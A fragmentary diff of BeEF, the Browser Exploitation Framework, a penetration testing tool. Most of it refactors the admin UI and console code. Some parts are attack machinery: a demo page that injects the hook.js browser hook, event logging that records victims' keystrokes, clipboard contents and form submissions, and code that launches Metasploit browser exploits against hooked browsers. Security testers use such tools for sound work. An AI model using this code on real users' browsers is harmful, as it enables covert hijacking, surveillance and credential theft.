||||
title: zombie.ip,
|
||||
title: "Current Browser",
|
||||
autoScroll: true,
|
||||
closable: true,
|
||||
closable: false,
|
||||
viewConfig: {
|
||||
forceFit: true,
|
||||
type: 'fit'
|
||||
},
|
||||
items:[main_tab, log_tab, commands_tab, requester_tab, xssrays_tab]
|
||||
});
|
||||
|
||||
};
|
||||
|
||||
Ext.extend(ZombieTab, Ext.TabPanel, {
|
||||
listeners: {
|
||||
close: function(panel) {
|
||||
panel.destroy();
|
||||
}
|
||||
activate: function(panel) {},
|
||||
deactivate: function(panel) {},
|
||||
close: function(panel) {}
|
||||
}
|
||||
});
|
||||
|
||||
@@ -132,7 +132,7 @@ function get_dynamic_payload_details(payload, zombie) {
|
||||
generate_form_input_field(Ext.getCmp("payload-panel"), input, null, false, zombie);
|
||||
});
|
||||
|
||||
Ext.getCmp("payload-panel").doLayout();
|
||||
Ext.getCmp("payload-panel").doLayout();
|
||||
}
|
||||
})
|
||||
}
|
||||
@@ -145,7 +145,7 @@ function get_dynamic_payload_details(payload, zombie) {
|
||||
* @param: {Object} the targeted Zombie.
|
||||
* @param: {Object} the status bar.
|
||||
*/
|
||||
function genExisingExploitPanel(panel, command_id, zombie, sb) {
|
||||
function genExistingExploitPanel(panel, command_id, zombie, sb) {
|
||||
if(typeof panel != 'object') {
|
||||
Ext.beef.msg('Bad!', 'Incorrect panel chosen.');
|
||||
return;
|
||||
@@ -304,7 +304,7 @@ function genNewExploitPanel(panel, command_module_id, command_module_name, zombi
|
||||
|
||||
var xgrid = Ext.getCmp('command-module-grid-zombie-'+zombie.session);
|
||||
var sb = Ext.getCmp('commands-bbar-zombie-'+zombie.session);
|
||||
|
||||
panel.removeAll();
|
||||
if(command_module_name == 'some special command module') {
|
||||
//HERE we will develop specific panels for the command modules that require it.
|
||||
} else {
|
||||
@@ -327,9 +327,8 @@ function genNewExploitPanel(panel, command_module_id, command_module_name, zombi
|
||||
}
|
||||
|
||||
module = module.command_modules[1];
|
||||
panel.removeAll();
|
||||
|
||||
var form = new Ext.form.FormPanel({
|
||||
|
||||
var form = new Ext.form.FormPanel({
|
||||
url: submiturl,
|
||||
|
||||
id: 'form-command-module-zombie-'+zombie.session,
|
||||
@@ -394,7 +393,7 @@ function genNewExploitPanel(panel, command_module_id, command_module_name, zombi
|
||||
bodyBorder: false,
|
||||
height: 200,
|
||||
hidden: true,
|
||||
border: false //we can remove the border of the panel
|
||||
border: false //we can remove the border of the panel
|
||||
});
|
||||
|
||||
Ext.each(module.Data, function(input){
|
||||
@@ -402,7 +401,6 @@ function genNewExploitPanel(panel, command_module_id, command_module_name, zombi
|
||||
);
|
||||
|
||||
form.add(payload_panel);
|
||||
|
||||
panel.add(form);
|
||||
panel.doLayout();
|
||||
// hide the load mask after rendering of the config panel is done
|
||||
|
||||
@@ -77,7 +77,7 @@ ZombieTab_Commands = function(zombie) {
|
||||
|
||||
if(!command_id) return;
|
||||
|
||||
genExisingExploitPanel(command_module_config, command_id, zombie, commands_statusbar);
|
||||
genExistingExploitPanel(command_module_config, command_id, zombie, commands_statusbar);
|
||||
});
|
||||
|
||||
LoadCommandPanelEvent = function(node,keyclick) {
|
||||
@@ -95,7 +95,7 @@ ZombieTab_Commands = function(zombie) {
|
||||
nonce: Ext.get ("nonce").dom.value
|
||||
}
|
||||
});
|
||||
|
||||
|
||||
genNewExploitPanel(command_module_config, node.id, node.text, zombie, commands_statusbar);
|
||||
commands_statusbar.showValid('Ready');
|
||||
}
|
||||
@@ -139,16 +139,12 @@ ZombieTab_Commands = function(zombie) {
|
||||
'afterrender' : function() {
|
||||
},
|
||||
'selectionchange' : function() {
|
||||
console.log("selection changed");
|
||||
},
|
||||
'activate' : function() {
|
||||
console.log("activate");
|
||||
},
|
||||
'select' : function() {
|
||||
console.log("select");
|
||||
},
|
||||
'keyup' : function() {
|
||||
console.log("Key up");
|
||||
},
|
||||
'render' : function(c) {
|
||||
c.getEl().on('keyup', function() {
|
||||
@@ -189,4 +185,8 @@ ZombieTab_Commands = function(zombie) {
|
||||
var sb = Ext.getCmp('command-module-bbar-zombie-'+zombie.session);
|
||||
};
|
||||
|
||||
Ext.extend(ZombieTab_Commands, Ext.Panel, {});
|
||||
Ext.extend(ZombieTab_Commands, Ext.Panel, {
|
||||
listeners: {
|
||||
close: function(panel) {}
|
||||
}
|
||||
});
|
||||
|
||||
@@ -102,8 +102,6 @@ ZombieTab_Requester = function(zombie) {
|
||||
// itemclick: function(item) {
|
||||
// switch (item.id) {
|
||||
// case 'do-something':
|
||||
// console.log("history_panel_context_menu.rowIndex: " + history_panel_context_menu.rowIndex);
|
||||
// console.log("history_panel_context_menu.dbIndex: " + history_panel_context_menu.dbIndex);
|
||||
// break;
|
||||
// }
|
||||
// }
|
||||
|
||||
@@ -113,12 +113,13 @@ Ext.extend(zombiesTreeList, Ext.tree.TreePanel, {
|
||||
//creates a new hooked browser tab when a hooked browser is clicked
|
||||
click: function(node, e) {
|
||||
if(!node.leaf) return;
|
||||
|
||||
if(!mainPanel.get(node.attributes.session)) {
|
||||
|
||||
mainPanel.remove(mainPanel.getComponent('current-browser'));
|
||||
if(!mainPanel.getComponent('current-browser')) {
|
||||
mainPanel.add(new ZombieTab(node.attributes));
|
||||
}
|
||||
|
||||
mainPanel.activate(node.attributes.session);
|
||||
mainPanel.activate(mainPanel.getComponent('current-browser'));
|
||||
},
|
||||
//show the context menu when a HB is right-clicked
|
||||
contextmenu: function(node, event){
|
||||
|
||||
@@ -24,39 +24,8 @@ module Console
|
||||
#
|
||||
@short_name = @full_name = 'console'
|
||||
@description = 'console environment to manage beef'
|
||||
|
||||
#
|
||||
# Returns true of the verbose option has been enabled for the console.
|
||||
# False if not.
|
||||
#
|
||||
# Example:
|
||||
#
|
||||
# $ ruby console.rb -v
|
||||
# BeEF::Extension::Console.verbose? # => true
|
||||
#
|
||||
# $ ruby console.rb
|
||||
# BeEF::Extension::Console.verbose? # => false
|
||||
#
|
||||
def self.verbose?
|
||||
CommandLine.parse[:verbose]
|
||||
end
|
||||
|
||||
#
|
||||
# Returns true if we should reset the database. False if not.
|
||||
#
|
||||
# $ ruby console.rb -x
|
||||
# BeEF::Extension::Console.resetdb? # => true
|
||||
#
|
||||
# $ ruby console.rb
|
||||
# BeEF::Extension::Console.resetdb? # => false
|
||||
#
|
||||
def self.resetdb?
|
||||
CommandLine.parse[:resetdb]
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
require 'extensions/console/banners'
|
||||
require 'extensions/console/commandline'
|
||||
|
||||
@@ -56,7 +56,7 @@ class Command
|
||||
print_line("Module parameters:")
|
||||
|
||||
driver.interface.cmd['Data'].each{|data|
|
||||
print_line(data['name'] + " => \"" + data['value'] + "\" # this is the " + data['ui_label'] + " parameter")
|
||||
print_line(data['name'] + " => \"" + data['value'].to_s + "\" # this is the " + data['ui_label'] + " parameter")
|
||||
} if not driver.interface.cmd['Data'].nil?
|
||||
end
|
||||
|
||||
@@ -153,7 +153,9 @@ class Command
|
||||
print_line("Results retrieved: " + Time.at(output[0]['date'].to_i).to_s)
|
||||
print_line("")
|
||||
print_line("Response:")
|
||||
print_line(output[0]['data']['data'].to_s)
|
||||
output.each do |op|
|
||||
print_line(op['data']['data'].to_s)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -31,6 +31,7 @@ class Core
|
||||
"back" => "Move back from the current context",
|
||||
"exit" => "Exit the console",
|
||||
"help" => "Help menu",
|
||||
"irb" => "Drops into an interactive Ruby environment",
|
||||
"jobs" => "Print jobs",
|
||||
"online" => "List online hooked browsers",
|
||||
"offline" => "List previously hooked browsers",
|
||||
@@ -150,7 +151,7 @@ class Core
|
||||
])
|
||||
|
||||
BeEF::Core::Models::HookedBrowser.all(:lastseen.gte => (Time.new.to_i - 30)).each do |zombie|
|
||||
tbl << [zombie.id,zombie.ip,beef_logo_to_os(BeEF::Extension::Initialization::Models::BrowserDetails.os_icon(zombie.session))]
|
||||
tbl << [zombie.id,zombie.ip,beef_logo_to_os(BeEF::Core::Models::BrowserDetails.os_icon(zombie.session))]
|
||||
end
|
||||
|
||||
puts "\n"
|
||||
@@ -181,7 +182,7 @@ class Core
|
||||
])
|
||||
|
||||
BeEF::Core::Models::HookedBrowser.all(:lastseen.lt => (Time.new.to_i - 30)).each do |zombie|
|
||||
tbl << [zombie.id,zombie.ip,beef_logo_to_os(BeEF::Extension::Initialization::Models::BrowserDetails.os_icon(zombie.session))]
|
||||
tbl << [zombie.id,zombie.ip,beef_logo_to_os(BeEF::Core::Models::BrowserDetails.os_icon(zombie.session))]
|
||||
end
|
||||
|
||||
puts "\n"
|
||||
@@ -236,6 +237,28 @@ class Core
|
||||
print_status("Target a particular online, hooked browser")
|
||||
print_status(" Usage: target <id>")
|
||||
end
|
||||
|
||||
def cmd_irb(*args)
|
||||
@@bare_opts.parse(args) {|opt, idx, val|
|
||||
case opt
|
||||
when "-h"
|
||||
cmd_irb_help
|
||||
return false
|
||||
end
|
||||
}
|
||||
|
||||
print_status("Starting IRB shell...\n")
|
||||
|
||||
begin
|
||||
Rex::Ui::Text::IrbShell.new(binding).run
|
||||
rescue
|
||||
print_error("Error during IRB: #{$!}\n\n#{$@.join("\n")}")
|
||||
end
|
||||
end
|
||||
|
||||
def cmd_irb_help(*args)
|
||||
print_status("Load the IRB, Interative Ruby Shell")
|
||||
end
|
||||
|
||||
def cmd_review(*args)
|
||||
@@bare_opts.parse(args) {|opt, idx, val|
|
||||
|
||||
@@ -19,7 +19,7 @@ module Console
|
||||
|
||||
class ShellInterface
|
||||
|
||||
BD = BeEF::Extension::Initialization::Models::BrowserDetails
|
||||
BD = BeEF::Core::Models::BrowserDetails
|
||||
|
||||
def initialize(config)
|
||||
self.config = config
|
||||
@@ -195,7 +195,7 @@ class ShellInterface
|
||||
def2.push({'name' => k, 'value' => v})
|
||||
}
|
||||
# End hack
|
||||
if BeEF::Module.execute(mod_key, self.targetsession.to_s, def2) == true
|
||||
if BeEF::Module.execute(mod_key, self.targetsession.to_s, def2) != nil
|
||||
return true
|
||||
else
|
||||
return false
|
||||
@@ -417,21 +417,6 @@ class ShellInterface
|
||||
summary_grid_hash['results'].push(page_name_row) # add the row
|
||||
end
|
||||
|
||||
# set and add the internal ip address
|
||||
internal_ip = BD.get(self.targetsession, 'InternalIP')
|
||||
if not internal_ip.nil?
|
||||
encoded_internal_ip = CGI.escapeHTML(internal_ip)
|
||||
encoded_internal_ip_hash = { 'Internal IP' => encoded_internal_ip }
|
||||
|
||||
page_name_row = {
|
||||
'category' => 'Host',
|
||||
'data' => encoded_internal_ip_hash,
|
||||
'from' => 'Initialization'
|
||||
}
|
||||
|
||||
summary_grid_hash['results'].push(page_name_row) # add the row
|
||||
end
|
||||
|
||||
# set and add the System Platform
|
||||
system_platform = BD.get(self.targetsession, 'SystemPlatform')
|
||||
if not system_platform.nil?
|
||||
@@ -447,21 +432,6 @@ class ShellInterface
|
||||
summary_grid_hash['results'].push(page_name_row) # add the row
|
||||
end
|
||||
|
||||
# set and add the internal hostname
|
||||
internal_hostname = BD.get(self.targetsession, 'InternalHostname')
|
||||
if not internal_hostname.nil?
|
||||
encoded_internal_hostname = CGI.escapeHTML(internal_hostname)
|
||||
encoded_internal_hostname_hash = { 'Internal Hostname' => encoded_internal_hostname }
|
||||
|
||||
page_name_row = {
|
||||
'category' => 'Host',
|
||||
'data' => encoded_internal_hostname_hash,
|
||||
'from' => 'Initialization'
|
||||
}
|
||||
|
||||
summary_grid_hash['results'].push(page_name_row) # add the row
|
||||
end
|
||||
|
||||
# set and add the zombie screen size and color depth
|
||||
screen_params = BD.get(self.targetsession, 'ScreenParams')
|
||||
if not screen_params.nil?
|
||||
|
||||
@@ -1,3 +1,4 @@
|
||||
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
|
||||
<html>
|
||||
<head>
|
||||
<title>BeEF Basic Demo</title>
|
||||
|
||||
BIN
extensions/demos/html/checkJava.class
Normal file
BIN
extensions/demos/html/checkJava.class
Normal file
Binary file not shown.
BIN
extensions/demos/html/checkJava.jar
Normal file
BIN
extensions/demos/html/checkJava.jar
Normal file
Binary file not shown.
19
extensions/demos/html/checkJava.java
Executable file
19
extensions/demos/html/checkJava.java
Executable file
@@ -0,0 +1,19 @@
|
||||
import java.io.*;
|
||||
import java.util.*;
|
||||
import java.net.*;
|
||||
import java.applet.*;
|
||||
|
||||
// Keith Lee
|
||||
// Twitter: @keith55
|
||||
// http://milo2012.wordpress.com
|
||||
// keith.lee2012[at]gmail.com
|
||||
|
||||
public class checkJava extends Applet{
|
||||
public static int results = 0;
|
||||
public void init() {
|
||||
}
|
||||
public int getInfo() {
|
||||
results = 1;
|
||||
return results;
|
||||
}
|
||||
}
|
||||
5
extensions/demos/html/plain.html
Normal file
5
extensions/demos/html/plain.html
Normal file
@@ -0,0 +1,5 @@
|
||||
<script>
|
||||
var commandModuleStr = '<script src="' + window.location.protocol + '//' + window.location.host + '/hook.js" type="text/javascript"><\/script>';
|
||||
document.write(commandModuleStr);
|
||||
</script>
|
||||
|
||||
@@ -66,10 +66,18 @@ module Events
|
||||
return event['time'].to_s+'s - [Mouse Click] x: '+event['x'].to_s+' y:'+event['y'].to_s+' > '+event['target'].to_s
|
||||
when 'focus'
|
||||
return event['time'].to_s+'s - [Focus] Browser has regained focus.'
|
||||
when 'copy'
|
||||
return event['time'].to_s+'s - [User Copied Text] "'+event['data'].to_s+'"'
|
||||
when 'cut'
|
||||
return event['time'].to_s+'s - [User Cut Text] "'+event['data'].to_s+'"'
|
||||
when 'paste'
|
||||
return event['time'].to_s+'s - [User Pasted Text] "'+event['data'].to_s+'"'
|
||||
when 'blur'
|
||||
return event['time'].to_s+'s - [Blur] Browser has lost focus.'
|
||||
when 'keys'
|
||||
return event['time'].to_s+'s - [User Typed] "'+event['data'].to_s+'" > '+event['target'].to_s
|
||||
when 'submit'
|
||||
return event['time'].to_s+'s - [Form Submitted] '+event['data'].to_s+' > '+event['target'].to_s
|
||||
end
|
||||
print_debug '[EVENTS] Event handler has received an unknown event'
|
||||
return 'Unknown event'
|
||||
|
||||
@@ -1,38 +0,0 @@
|
||||
#
|
||||
# Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
#
|
||||
module BeEF
|
||||
module Extension
|
||||
module Initialization
|
||||
|
||||
module RegisterHttpHandler
|
||||
|
||||
# Register API calls
|
||||
BeEF::API::Registrar.instance.register(BeEF::Extension::Initialization::RegisterHttpHandler, BeEF::API::Server, 'mount_handler')
|
||||
|
||||
#
|
||||
# Register the http handler for the initialization script that retrieves
|
||||
# all the information about hooked browsers.
|
||||
#
|
||||
def self.mount_handler(beef_server)
|
||||
beef_server.mount('/init', BeEF::Extension::Initialization::Handler)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -14,166 +14,166 @@
|
||||
# limitations under the License.
|
||||
#
|
||||
module BeEF
|
||||
module Extension
|
||||
module Metasploit
|
||||
module API
|
||||
module Extension
|
||||
module Metasploit
|
||||
module API
|
||||
|
||||
module MetasploitHooks
|
||||
|
||||
BeEF::API::Registrar.instance.register(BeEF::Extension::Metasploit::API::MetasploitHooks, BeEF::API::Modules, 'post_soft_load')
|
||||
|
||||
# Load modules from metasploit just after all other module config is loaded
|
||||
def self.post_soft_load
|
||||
msf = BeEF::Extension::Metasploit::RpcClient.instance
|
||||
if msf.login
|
||||
msf_module_config = {}
|
||||
path = BeEF::Core::Configuration.instance.get('beef.extension.metasploit.path')
|
||||
if not BeEF::Extension::Console.resetdb? and File.exists?("#{path}msf-exploits.cache")
|
||||
module MetasploitHooks
|
||||
|
||||
BeEF::API::Registrar.instance.register(BeEF::Extension::Metasploit::API::MetasploitHooks, BeEF::API::Modules, 'post_soft_load')
|
||||
|
||||
# Load modules from metasploit just after all other module config is loaded
|
||||
def self.post_soft_load
|
||||
msf = BeEF::Extension::Metasploit::RpcClient.instance
|
||||
if msf.login
|
||||
msf_module_config = {}
|
||||
path = BeEF::Core::Configuration.instance.get('beef.extension.metasploit.path')
|
||||
if not BeEF::Core::Console::CommandLine.parse[:resetdb] and File.exists?("#{path}msf-exploits.cache")
|
||||
print_debug "Attempting to use Metasploit exploits cache file"
|
||||
raw = File.read("#{path}msf-exploits.cache")
|
||||
begin
|
||||
msf_module_config = YAML.load(raw)
|
||||
msf_module_config = YAML.load(raw)
|
||||
rescue => e
|
||||
puts e
|
||||
puts e
|
||||
end
|
||||
count = 1
|
||||
msf_module_config.each{|k,v|
|
||||
BeEF::API::Registrar.instance.register(BeEF::Extension::Metasploit::API::MetasploitHooks, BeEF::API::Module, 'get_options', [k])
|
||||
BeEF::API::Registrar.instance.register(BeEF::Extension::Metasploit::API::MetasploitHooks, BeEF::API::Module, 'get_payload_options', [k,nil])
|
||||
BeEF::API::Registrar.instance.register(BeEF::Extension::Metasploit::API::MetasploitHooks, BeEF::API::Module, 'override_execute', [k, nil, nil])
|
||||
print_over "Loaded #{count} Metasploit exploits."
|
||||
count += 1
|
||||
msf_module_config.each { |k, v|
|
||||
BeEF::API::Registrar.instance.register(BeEF::Extension::Metasploit::API::MetasploitHooks, BeEF::API::Module, 'get_options', [k])
|
||||
BeEF::API::Registrar.instance.register(BeEF::Extension::Metasploit::API::MetasploitHooks, BeEF::API::Module, 'get_payload_options', [k, nil])
|
||||
BeEF::API::Registrar.instance.register(BeEF::Extension::Metasploit::API::MetasploitHooks, BeEF::API::Module, 'override_execute', [k, nil, nil])
|
||||
print_over "Loaded #{count} Metasploit exploits."
|
||||
count += 1
|
||||
}
|
||||
print "\r\n"
|
||||
else
|
||||
else
|
||||
msf_modules = msf.call('module.exploits')
|
||||
count = 1
|
||||
msf_modules['modules'].each{|m|
|
||||
next if not m.include? "/browser/"
|
||||
m_details = msf.call('module.info', 'exploit', m)
|
||||
if m_details
|
||||
key = 'msf_'+m.split('/').last
|
||||
# system currently doesn't support multilevel categories
|
||||
#categories = ['Metasploit']
|
||||
#m.split('/')[0...-1].each{|c|
|
||||
# categories.push(c.capitalize)
|
||||
#}
|
||||
msf_module_config[key] = {
|
||||
'enable'=> true,
|
||||
'msf'=> true,
|
||||
'msf_key' => m,
|
||||
'name'=> m_details['name'],
|
||||
'category' => 'Metasploit',
|
||||
'description'=> m_details['description'],
|
||||
'authors'=> m_details['references'],
|
||||
'path'=> path,
|
||||
'class'=> 'Msf_module'
|
||||
}
|
||||
BeEF::API::Registrar.instance.register(BeEF::Extension::Metasploit::API::MetasploitHooks, BeEF::API::Module, 'get_options', [key])
|
||||
BeEF::API::Registrar.instance.register(BeEF::Extension::Metasploit::API::MetasploitHooks, BeEF::API::Module, 'get_payload_options', [key,nil])
|
||||
BeEF::API::Registrar.instance.register(BeEF::Extension::Metasploit::API::MetasploitHooks, BeEF::API::Module, 'override_execute', [key, nil, nil])
|
||||
print_over "Loaded #{count} Metasploit exploits."
|
||||
count += 1
|
||||
end
|
||||
msf_modules['modules'].each { |m|
|
||||
next if not m.include? "/browser/"
|
||||
m_details = msf.call('module.info', 'exploit', m)
|
||||
if m_details
|
||||
key = 'msf_'+m.split('/').last
|
||||
# system currently doesn't support multilevel categories
|
||||
#categories = ['Metasploit']
|
||||
#m.split('/')[0...-1].each{|c|
|
||||
# categories.push(c.capitalize)
|
||||
#}
|
||||
msf_module_config[key] = {
|
||||
'enable'=> true,
|
||||
'msf'=> true,
|
||||
'msf_key' => m,
|
||||
'name'=> m_details['name'],
|
||||
'category' => 'Metasploit',
|
||||
'description'=> m_details['description'],
|
||||
'authors'=> m_details['references'],
|
||||
'path'=> path,
|
||||
'class'=> 'Msf_module'
|
||||
}
|
||||
BeEF::API::Registrar.instance.register(BeEF::Extension::Metasploit::API::MetasploitHooks, BeEF::API::Module, 'get_options', [key])
|
||||
BeEF::API::Registrar.instance.register(BeEF::Extension::Metasploit::API::MetasploitHooks, BeEF::API::Module, 'get_payload_options', [key, nil])
|
||||
BeEF::API::Registrar.instance.register(BeEF::Extension::Metasploit::API::MetasploitHooks, BeEF::API::Module, 'override_execute', [key, nil, nil])
|
||||
print_over "Loaded #{count} Metasploit exploits."
|
||||
count += 1
|
||||
end
|
||||
}
|
||||
print "\r\n"
|
||||
File.open("#{path}msf-exploits.cache", "w") do |f|
|
||||
f.write(msf_module_config.to_yaml)
|
||||
print_debug "Wrote Metasploit exploits to cache file"
|
||||
f.write(msf_module_config.to_yaml)
|
||||
print_debug "Wrote Metasploit exploits to cache file"
|
||||
end
|
||||
end
|
||||
BeEF::Core::Configuration.instance.set('beef.module', msf_module_config)
|
||||
end
|
||||
BeEF::Core::Configuration.instance.set('beef.module', msf_module_config)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Get module options + payloads when the beef framework requests this information
|
||||
def self.get_options(mod)
|
||||
msf_key = BeEF::Core::Configuration.instance.get("beef.module.#{mod}.msf_key")
|
||||
msf = BeEF::Extension::Metasploit::RpcClient.instance
|
||||
if msf_key != nil and msf.login
|
||||
msf_module_options = msf.call('module.options', 'exploit', msf_key)
|
||||
com = BeEF::Core::Models::CommandModule.first(:name => mod )
|
||||
if msf_module_options
|
||||
# Get module options + payloads when the beef framework requests this information
|
||||
def self.get_options(mod)
|
||||
msf_key = BeEF::Core::Configuration.instance.get("beef.module.#{mod}.msf_key")
|
||||
msf = BeEF::Extension::Metasploit::RpcClient.instance
|
||||
if msf_key != nil and msf.login
|
||||
msf_module_options = msf.call('module.options', 'exploit', msf_key)
|
||||
com = BeEF::Core::Models::CommandModule.first(:name => mod)
|
||||
if msf_module_options
|
||||
options = BeEF::Extension::Metasploit.translate_options(msf_module_options)
|
||||
options << { 'name' => 'mod_id', 'id' => 'mod_id' , 'type' => 'hidden', 'value' => com.id}
|
||||
options << {'name' => 'mod_id', 'id' => 'mod_id', 'type' => 'hidden', 'value' => com.id}
|
||||
msf_payload_options = msf.call('module.compatible_payloads', msf_key)
|
||||
if msf_payload_options
|
||||
options << BeEF::Extension::Metasploit.translate_payload(msf_payload_options)
|
||||
return options
|
||||
options << BeEF::Extension::Metasploit.translate_payload(msf_payload_options)
|
||||
return options
|
||||
else
|
||||
print_error "Unable to retrieve metasploit payloads for exploit: #{msf_key}"
|
||||
print_error "Unable to retrieve metasploit payloads for exploit: #{msf_key}"
|
||||
end
|
||||
else
|
||||
else
|
||||
print_error "Unable to retrieve metasploit options for exploit: #{msf_key}"
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Execute function for all metasploit exploits
|
||||
def self.override_execute(mod, hbsession, opts)
|
||||
msf = BeEF::Extension::Metasploit::RpcClient.instance
|
||||
msf_key = BeEF::Core::Configuration.instance.get("beef.module.#{mod}.msf_key")
|
||||
msf_opts = {}
|
||||
# Execute function for all metasploit exploits
|
||||
def self.override_execute(mod, hbsession, opts)
|
||||
msf = BeEF::Extension::Metasploit::RpcClient.instance
|
||||
msf_key = BeEF::Core::Configuration.instance.get("beef.module.#{mod}.msf_key")
|
||||
msf_opts = {}
|
||||
|
||||
opts.each { |opt|
|
||||
next if ['e','ie_session','and_module_id'].include? opt['name']
|
||||
msf_opts[opt["name"]] = opt["value"]
|
||||
}
|
||||
opts.each { |opt|
|
||||
next if ['e', 'ie_session', 'and_module_id'].include? opt['name']
|
||||
msf_opts[opt["name"]] = opt["value"]
|
||||
}
|
||||
|
||||
if msf_key != nil and msf.login
|
||||
# Are the options correctly formatted for msf?
|
||||
# This call has not been tested
|
||||
msf.call('module.execute', 'exploit', msf_key, msf_opts)
|
||||
end
|
||||
if msf_key != nil and msf.login
|
||||
# Are the options correctly formatted for msf?
|
||||
# This call has not been tested
|
||||
msf.call('module.execute', 'exploit', msf_key, msf_opts)
|
||||
end
|
||||
|
||||
hb = BeEF::HBManager.get_by_session(hbsession)
|
||||
if not hb
|
||||
print_error "Could not find hooked browser when attempting to execute module '#{mod}'"
|
||||
return false
|
||||
end
|
||||
hb = BeEF::HBManager.get_by_session(hbsession)
|
||||
if not hb
|
||||
print_error "Could not find hooked browser when attempting to execute module '#{mod}'"
|
||||
return false
|
||||
end
|
||||
|
||||
bopts = []
|
||||
uri = ""
|
||||
if msf_opts['SSL']
|
||||
uri += "https://"
|
||||
else
|
||||
uri += "http://"
|
||||
end
|
||||
config = BeEF::Core::Configuration.instance.get('beef.extension.metasploit')
|
||||
uri += config['callback_host'] + ":" + msf_opts['SRVPORT'] + "/" + msf_opts['URIPATH']
|
||||
bopts = []
|
||||
uri = ""
|
||||
if msf_opts['SSL']
|
||||
uri += "https://"
|
||||
else
|
||||
uri += "http://"
|
||||
end
|
||||
config = BeEF::Core::Configuration.instance.get('beef.extension.metasploit')
|
||||
uri += config['callback_host'] + ":" + msf_opts['SRVPORT'] + "/" + msf_opts['URIPATH']
|
||||
|
||||
|
||||
bopts << { :sploit_url => uri }
|
||||
c = BeEF::Core::Models::Command.new(:data => bopts.to_json,
|
||||
:hooked_browser_id => hb.id,
|
||||
:command_module_id => BeEF::Core::Configuration.instance.get("beef.module.#{mod}.db.id"),
|
||||
:creationdate => Time.new.to_i
|
||||
).save
|
||||
bopts << {:sploit_url => uri}
|
||||
c = BeEF::Core::Models::Command.new(:data => bopts.to_json,
|
||||
:hooked_browser_id => hb.id,
|
||||
:command_module_id => BeEF::Core::Configuration.instance.get("beef.module.#{mod}.db.id"),
|
||||
:creationdate => Time.new.to_i
|
||||
).save
|
||||
|
||||
# Still need to create command object to store a string saying "Exploit launched @ [time]", to ensure BeEF can keep track of
|
||||
# which exploits where executed against which hooked browsers
|
||||
return true
|
||||
end
|
||||
# Still need to create command object to store a string saying "Exploit launched @ [time]", to ensure BeEF can keep track of
|
||||
# which exploits where executed against which hooked browsers
|
||||
return true
|
||||
end
|
||||
|
||||
# Get module options + payloads when the beef framework requests this information
|
||||
def self.get_payload_options(mod,payload)
|
||||
msf_key = BeEF::Core::Configuration.instance.get("beef.module.#{mod}.msf_key")
|
||||
# Get module options + payloads when the beef framework requests this information
|
||||
def self.get_payload_options(mod, payload)
|
||||
msf_key = BeEF::Core::Configuration.instance.get("beef.module.#{mod}.msf_key")
|
||||
|
||||
msf = BeEF::Extension::Metasploit::RpcClient.instance
|
||||
if msf_key != nil and msf.login
|
||||
msf_module_options = msf.call('module.options', 'payload', payload)
|
||||
|
||||
com = BeEF::Core::Models::CommandModule.first(:name => mod )
|
||||
if msf_module_options
|
||||
msf = BeEF::Extension::Metasploit::RpcClient.instance
|
||||
if msf_key != nil and msf.login
|
||||
msf_module_options = msf.call('module.options', 'payload', payload)
|
||||
|
||||
com = BeEF::Core::Models::CommandModule.first(:name => mod)
|
||||
if msf_module_options
|
||||
options = BeEF::Extension::Metasploit.translate_options(msf_module_options)
|
||||
return options
|
||||
else
|
||||
else
|
||||
print_error "Unable to retrieve metasploit payload options for exploit: #{msf_key}"
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -37,13 +37,19 @@ module BeEF
|
||||
def handle_request socket
|
||||
request_line = socket.readline
|
||||
|
||||
# HTTP method # defaults to GET
|
||||
method = request_line[/^\w+/]
|
||||
url = request_line[/^\w+\s+(\S+)/, 1]
|
||||
|
||||
# HTTP version # defaults to 1.0
|
||||
version = request_line[/HTTP\/(1\.\d)\s*$/, 1]
|
||||
version = "1.0" if version.nil?
|
||||
|
||||
# url # host:port/path
|
||||
url = request_line[/^\w+\s+(\S+)/, 1]
|
||||
|
||||
# We're overwriting the URI::Parser UNRESERVED regex to prevent BAD URI errors when sending attack vectors (see tolerant_parser)
|
||||
tolerant_parser = URI::Parser.new(:UNRESERVED => BeEF::Core::Configuration.instance.get("beef.extension.requester.uri_unreserved_chars"))
|
||||
uri = tolerant_parser.parse(url)
|
||||
uri = tolerant_parser.parse(url.to_s)
|
||||
|
||||
raw_request = request_line
|
||||
content_length = 0
|
||||
|
||||
@@ -25,7 +25,7 @@ module Qrcode
|
||||
require 'uri'
|
||||
|
||||
configuration = BeEF::Core::Configuration.instance
|
||||
BeEF::Extension::Console::Banners.interfaces.each do |int|
|
||||
BeEF::Core::Console::Banners.interfaces.each do |int|
|
||||
print_success "QRCode images available for interface: #{int}"
|
||||
data = ""
|
||||
configuration.get("beef.extension.qrcode.target").each do |target|
|
||||
|
||||
@@ -65,16 +65,16 @@ module BeEF
|
||||
|
||||
#@note: retrieve HTTP headers values needed later, and the \r\n that indicates the start of the post-data (if any)
|
||||
req_parts.each_with_index do |value, index|
|
||||
if value.match(/^Content-Length/)
|
||||
@content_length = Integer(req_parts[index].split(/: /)[1])
|
||||
if value.match(/^Content-Length:\s+(\d+)/)
|
||||
@content_length = Integer(req_parts[index].split(/:\s+/)[1])
|
||||
end
|
||||
|
||||
if value.match(/^Host/)
|
||||
@host = req_parts[index].split(/: /)[1].split(/:/)[0]
|
||||
@port = req_parts[index].split(/: /)[1].split(/:/)[1]
|
||||
@host = req_parts[index].split(/:\s+/)[1].split(/:/)[0]
|
